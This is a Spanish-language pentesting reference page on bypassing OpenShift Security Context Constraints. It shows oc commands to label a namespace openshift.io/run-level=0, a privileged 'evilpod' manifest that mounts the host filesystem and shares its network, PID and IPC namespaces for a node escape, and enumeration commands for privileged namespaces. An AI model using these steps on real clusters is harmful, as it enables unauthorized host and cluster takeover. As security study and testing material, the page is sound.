4.7 KiB
Openshift - SCC bypass
El autor original de esta página es Guillaume
Namespaces privilegiados
Por defecto, SCC no se aplica en los siguientes proyectos:
- default
- kube-system
- kube-public
- openshift-node
- openshift-infra
- openshift
Si despliegas pods dentro de uno de esos namespaces, no se aplicará SCC, lo que permitirá el despliegue de pods privilegiados o el montaje del sistema de archivos del host.
Etiqueta de Namespace
Hay una manera de deshabilitar la aplicación de SCC en tu pod según la documentación de RedHat. Necesitarás tener al menos uno de los siguientes permisos:
- Crear un Namespace y Crear un Pod en este Namespace
- Editar un Namespace y Crear un Pod en este Namespace
$ oc auth can-i create namespaces
yes
$ oc auth can-i patch namespaces
yes
La etiqueta específica openshift.io/run-level permite a los usuarios eludir los SCC para aplicaciones. Según la documentación de RedHat, cuando se utiliza esta etiqueta, no se aplican SCC a todos los pods dentro de ese espacio de nombres, eliminando efectivamente cualquier restricción.
Agregar Etiqueta
Para agregar la etiqueta en tu espacio de nombres:
$ oc label ns MYNAMESPACE openshift.io/run-level=0
Para crear un espacio de nombres con la etiqueta a través de un archivo YAML:
apiVersion: v1
kind: Namespace
metadata:
name: evil
labels:
openshift.io/run-level: 0
Ahora, todos los nuevos pods creados en el namespace no deberían tener ningún SCC
$ oc get pod -o yaml | grep 'openshift.io/scc'
$
En ausencia de SCC, no hay restricciones en la definición de tu pod. Esto significa que se puede crear fácilmente un pod malicioso para escapar al sistema host.
apiVersion: v1
kind: Pod
metadata:
name: evilpod
labels:
kubernetes.io/hostname: evilpod
spec:
hostNetwork: true #Bind pod network to the host network
hostPID: true #See host processes
hostIPC: true #Access host inter processes
containers:
- name: evil
image: MYIMAGE
imagePullPolicy: IfNotPresent
securityContext:
privileged: true
allowPrivilegeEscalation: true
resources:
limits:
memory: 200Mi
requests:
cpu: 30m
memory: 100Mi
volumeMounts:
- name: hostrootfs
mountPath: /mnt
volumes:
- name: hostrootfs
hostPath:
path:
Ahora, se ha vuelto más fácil escalar privilegios para acceder al sistema host y, posteriormente, tomar el control de todo el clúster, obteniendo privilegios de 'cluster-admin'. Busca la parte de Node-Post Exploitation en la siguiente página:
{{#ref}} ../../kubernetes-security/attacking-kubernetes-from-inside-a-pod.md {{#endref}}
Etiquetas personalizadas
Además, según la configuración del objetivo, se pueden utilizar algunas etiquetas / anotaciones personalizadas de la misma manera que en el escenario de ataque anterior. Incluso si no están destinadas para ello, las etiquetas podrían usarse para otorgar permisos, restringir o no un recurso específico.
Intenta buscar etiquetas personalizadas si puedes leer algunos recursos. Aquí hay una lista de recursos interesantes:
- Pod
- Deployment
- Namespace
- Service
- Route
$ oc get pod -o yaml | grep labels -A 5
$ oc get namespace -o yaml | grep labels -A 5
Listar todos los espacios de nombres privilegiados
$ oc get project -o yaml | grep 'run-level' -b5
Explotación avanzada
En OpenShift, como se demostró anteriormente, tener permiso para desplegar un pod en un namespace con la etiqueta openshift.io/run-level puede llevar a una toma de control directa del clúster. Desde la perspectiva de la configuración del clúster, esta funcionalidad no se puede desactivar, ya que es inherente al diseño de OpenShift.
Sin embargo, medidas de mitigación como Open Policy Agent GateKeeper pueden prevenir que los usuarios establezcan esta etiqueta.
Para eludir las reglas de GateKeeper y establecer esta etiqueta para ejecutar una toma de control del clúster, los atacantes necesitarían identificar métodos alternativos.